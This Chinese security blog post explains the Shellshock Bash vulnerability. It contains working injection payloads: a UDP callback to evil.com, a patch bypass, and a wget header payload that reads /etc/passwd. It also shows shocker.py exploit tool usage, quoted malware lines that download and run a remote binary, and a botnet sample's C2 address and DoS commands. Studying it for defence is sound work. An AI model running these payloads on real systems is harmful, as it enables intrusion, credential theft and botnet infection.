注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
描述:Shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞,所以无法很好地利用。随着研究的深入研究发现其实它可以进行远程CGI漏洞利用,Bash漏洞其实是非常经典的“注入式攻击”也就是可以向 bash注入一段命令,从bash1.14到4.3都存在这样的漏洞;
WeiyiGeek.
1.判断方法
#方法1
env x='() { :;}; echo Shellshock' bash -c "exit"
#方法2
() { :;}; echo 1 > /dev/udp/evil.com/53 #如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包
WeiyiGeek.
2.补丁更新后仍然可以绕过
env -i X=';() { (a)=>\' bash -c 'echo `date`'; cat /etc/hosts
WeiyiGeek.
3.利用Wget进行测试,Wget, Shellshock 和 John the Ripper(解密)
wget -U "() [ test;];echo \"Content-type: text/plain\";echo; echo;/bin/cat /etc/passwd" url
4.Shellshock 利用工具 描述:一个发现并利用服务器 Shellshock 的工具,项目地址: https://github.com/nccgroup/shocker
#Help Text
usage: shocker.py [Options]
-h, --help show this help message and exit
--Host HOST, -H HOST A target hostname or IP address
--file FILE, -f FILE File containing a list of targets
--port PORT, -p PORT The target port number (default=80)
--exploit EXPLOIT, -e EXPLOIT Command to execute (default=/bin/uname -a)
--cgi CGI, -c CGI Single CGI to check (e.g. /cgi-bin/test.cgi)
--proxy PROXY A BIT BROKEN RIGHT NOW Proxy to be used in the form 'ip:port'
--ssl, -s Use SSL (default=False)
--threads THREADS, -t THREADS Maximum number of threads (default=10, max=100)
--verbose, -v Be verbose in output
测试案例
# Scans for http://127.0.0.1/cgi-bin/test.cgi and, if found, attempts to cat /etc/passwd
python shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# Scan www.example.com on port 8001 using SSL for all scripts in cgi_list and attempts the default exploit for any found
python shocker.py -H www.example.com -p 8001 -s
# Scans all hosts listed in the file ./hostlist with the default options
python shocker.py -f ./hostlist
WeiyiGeek.
修复方案:
1.样本传播方式 该样本利用Bash漏洞进行传播,其漏洞的利用只需要简单的几行命令即可,这无疑为利用者带来了极大的便利,利用代码如下:
#而该样本通过wget将样本下载并执行命令如下:
(){:;}; /usr/bin/wget xxxx/shell1 -O /tmp/shell| /bin/chomd 777 /tmp/shell | /tmp/shell
Cookie, ().{.:;.};.wget /tmp/besh http://X.X.X.X/nginx; chmod.777 /tmp/besh; /tmp/besh;
WeiyiGeek.
2.样本行为分析 (1).获取计算机相关信息 该样本启动后首先会获取计算机的相关信息,如CPU,网络配置等信息
WeiyiGeek.
(2).接着该样本连接自己的服务器(89.238.150.154:5),strace附加在创建的子进程样本上监视其行为如下
WeiyiGeek.
(3).如果连接服务器成功,则根据服务器传来的指令,远程控制被感染机器,命令集合如下:
PING
GETLOCALIP
SCANNER
HOLD (DoS Flood)
JUNK (DoS Flood)
UDP (DoS Flood)
TCP (DoS Flood)
KILLATTK
LOLNOGTFO
WeiyiGeek.
DVR Scanner主要测试目标是否存在DVR漏洞,如果存在则尝试通过像”root”,”12345”这样的弱口令进行进行连接,如果连接成功则执行ps尝试寻找”cmd.so”进程,该进程主要是莱特币矿工相关.
一些指令解释
补充:
参考来源: